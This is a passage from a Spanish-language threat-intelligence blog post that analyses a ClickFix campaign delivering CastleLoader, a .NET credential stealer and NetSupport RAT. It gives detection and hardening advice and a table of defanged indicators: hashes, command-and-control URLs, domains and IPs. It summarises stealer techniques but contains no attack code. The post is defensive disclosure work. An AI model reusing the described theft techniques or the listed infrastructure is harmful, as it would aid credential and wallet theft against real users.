Lo que comenzó, posiblemente, como alguien tratando de quitar el fondo de una selfie, terminó con un stealer personalizado en .NET hurgando entre las contraseñas del navegador, las bóvedas de billeteras cripto y la sesión de Telegram de la víctima, además de un RAT NetSupport colocado en el disco para un acceso posterior. CastleLoader queda en el medio como la capa de orquestación. El flujo de exfiltración de capturas de pantalla es, en realidad, bastante ruidoso: archivos BMP sin comprimir de varios megabytes enviados por HTTPS con cuerpos de alta entropía es una señal de detección del lado de la red que no depende de entender nada del funcionamiento interno del loader. Un bot que informa sobre unas pocas tareas con capturas de pantalla habilitadas genera envíos POST sostenidos de más de 5 MB, que no se parecen en nada al tráfico normal de un beacon.

Luego está el hecho de que, en esta compilación, launch_method: 4 se decodifica como regsrv32.exe en lugar de regsvr32.exe. Quien lo escribió invirtió dos letras en un binario de Windows que se distribuye desde los años 90, y, al parecer, nadie lo notó.

Otra cosa que vale la pena señalar: CastleStealer es un stealer sin nada fuera de lo común: DPAPI seguido de AES sobre los datos de inicio de sesión de Chromium, recorridos de IndexedDB para extensiones de billeteras, Restart Manager para archivos bloqueados, process hollowing hacia PowerShell. Cada una de esas técnicas ya se documentó en Lumma, Stealc y otra decena de stealers comerciales durante el último año. Lo cual plantea una pregunta un poco curiosa: si CastleLoader puede entregar NetSupport para acceso manual y un stealer para el robo de credenciales en la misma víctima, ¿qué aporta el stealer que un operador con una sesión de NetSupport no pueda hacer ya a mano? NetSupport te da el escritorio, el teclado y el sistema de archivos, y el stealer te da un volcado de credenciales más rápido.

Detecciones

CastleStealer - Yara Rule

Recomendación

La cadena de ClickFix en este análisis parece intimidante, pero cada etapa depende de un pequeño número de comportamientos de Windows que los defensores pueden bloquear mediante Group Policy, AppLocker o un endurecimiento básico de endpoints. Estos son los controles que habrían roto esta cadena específica en una o más etapas:

  • ClickFix depende de que la víctima presione Win+R, pegue un comando y presione Enter. Deshabilitar el cuadro de diálogo Ejecutar bloquea el atajo Win+R, la entrada "Ejecutar..." en el menú Win+X para usuarios avanzados y el cuadro de diálogo de nueva tarea en el Administrador de tareas. Aplícalo mediante Group Policy en User Configuration -> Administrative Templates -> Start Menu and Taskbar -> Remove Run menu from Start Menu configurado como Enabled, o mediante el registro configurando HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun (REG_DWORD) en 1. 
  • finger.exe es el punto de entrada en esta cadena. Prácticamente nadie fuera de escenarios de interoperabilidad con unix lo usa en Windows moderno. Bloquea el puerto TCP de salida 79 en la salida de la red. Ese es el puerto que finger.exe usa para llegar a su daemon, y prácticamente no existe tráfico finger legítimo en una red Windows moderna.
  • CastleStealer implementa la ruta heredada de DPAPI y luego AES para la extracción de credenciales de Chromium. No tiene alternativa para el cifrado vinculado a la aplicación (App-Bound Encryption, ABE) introducido en Chrome 127. Mantén actualizados los navegadores de la familia Chromium, y el ABE neutralizará silenciosamente la capacidad más valiosa de este stealer: el robo de cookies.

Indicadores de compromiso (IOC)

Elemento

Descripción

bde21d8be65d31e1c380f2daae2f73c79f3e1f4bca70fb990db6fdf6c3768c92 

CastleLoader Core (payload final v8, PE incrustado)

ed391a16389234f9ebb6727711baaf3e068d7f77c465708fa3e8b7d0565d7fb9 

Stealer .NET (net40.bin, descifrado)

hxxps://trindastal[.]com/8250d149-9bf8-566d-9d7d-ea925eae0a4c/ 

Endpoint C2 de CastleLoader

hxxps://trindastal[.]com/4ba0af68-0037-5f6e-afd1-64f89fc0f554/loc8 

URL del descargador Python de la etapa 2

hxxps://trindastal[.]com/4ba0af68-0037-5f6e-afd1-64f89fc0f554/v8 

URL del shellcode cifrado con RC4 de la etapa 2

hxxps://obelnamevalf[.]org/OaTS7yE9zd/default 

URL del paquete NetSupport RAT (payload de la tarea 11)

hxxps://brionter[.]com/4ba0af68-0037-5f6e-afd1-64f89fc0f554/net40.bin 

URL del payload de CastleStealer (payload de la tarea 12)

cheeshomireciple[.]com 

C2 de finger.exe (entrega inicial del payload de ClickFix)

38.146.28[.]30:22989 

C2 de CastleStealer

%ProgramData%\CeoliauD\Dabkina 

Ruta de instalación de NetSupport (tarea 11)

b47e1791-82ba-544f-9aab-ebbdd36d8c89 

UUID de la campaña CastleLoader

D63TnQ3WhSnjI0yVKaILRu8U1WttdnE

User-agent de CastleLoader

ai-scan[.]digital

BackgroundFix

bg-transparency[.]online

BackgroundFix

bg-go[.]online

BackgroundFix

background-off[.]com

BackgroundFix

bg-ready[.]online

BackgroundFix

bg-removerok[.]online

BackgroundFix

background-ready[.]online

BackgroundFix

backgroundformat[.]online

BackgroundFix

poronto[.]com:688

C2 de NetSupport RAT

giovettiadv[.]com:688

C2 de NetSupport RAT

También te podría interesar

Más información sobre OpenClaw, agentes descontrolados e higiene de aplicaciones
OpenClaw, agentes descontrolados e higiene de aplicaciones
Blog

Los agentes de IA de OpenClaw representan un riesgo de seguridad en los inquilinos de Microsoft porque a menudo reciben permisos de cloud amplios y de alto impacto que un atacante podría heredar de inmediato si el agente se ve comprometido. Descubre por qué la higiene proactiva de aplicaciones, que incluye el monitoreo continuo y la reducción de permisos innecesarios, es esencial para gestionar esta amenaza basada en identidad.

Más información sobre Ataques de phishing usan páginas de navegador dentro del navegador y persistencia con RMM fraudulento
Ataques de phishing usan páginas de navegador dentro del navegador y persistencia con RMM fraudulento
Blog

Descubre cómo un ataque de phishing con navegador dentro del navegador llevó a persistencia con ScreenConnect fraudulento y tácticas de evasión que Huntress detectó en plena acción.

Más información sobre Explotación activa de la vulnerabilidad de criptografía insegura en Gladinet CentreStack/Triofox
Explotación activa de la vulnerabilidad de criptografía insegura en Gladinet CentreStack/Triofox
Blog

Gladinet CentreStack está siendo explotado activamente, y según reportes, el grupo de ransomware cl0p ahora apunta a servidores expuestos a internet. Huntress ha estado monitoreando esto desde el inicio y tiene las últimas actualizaciones.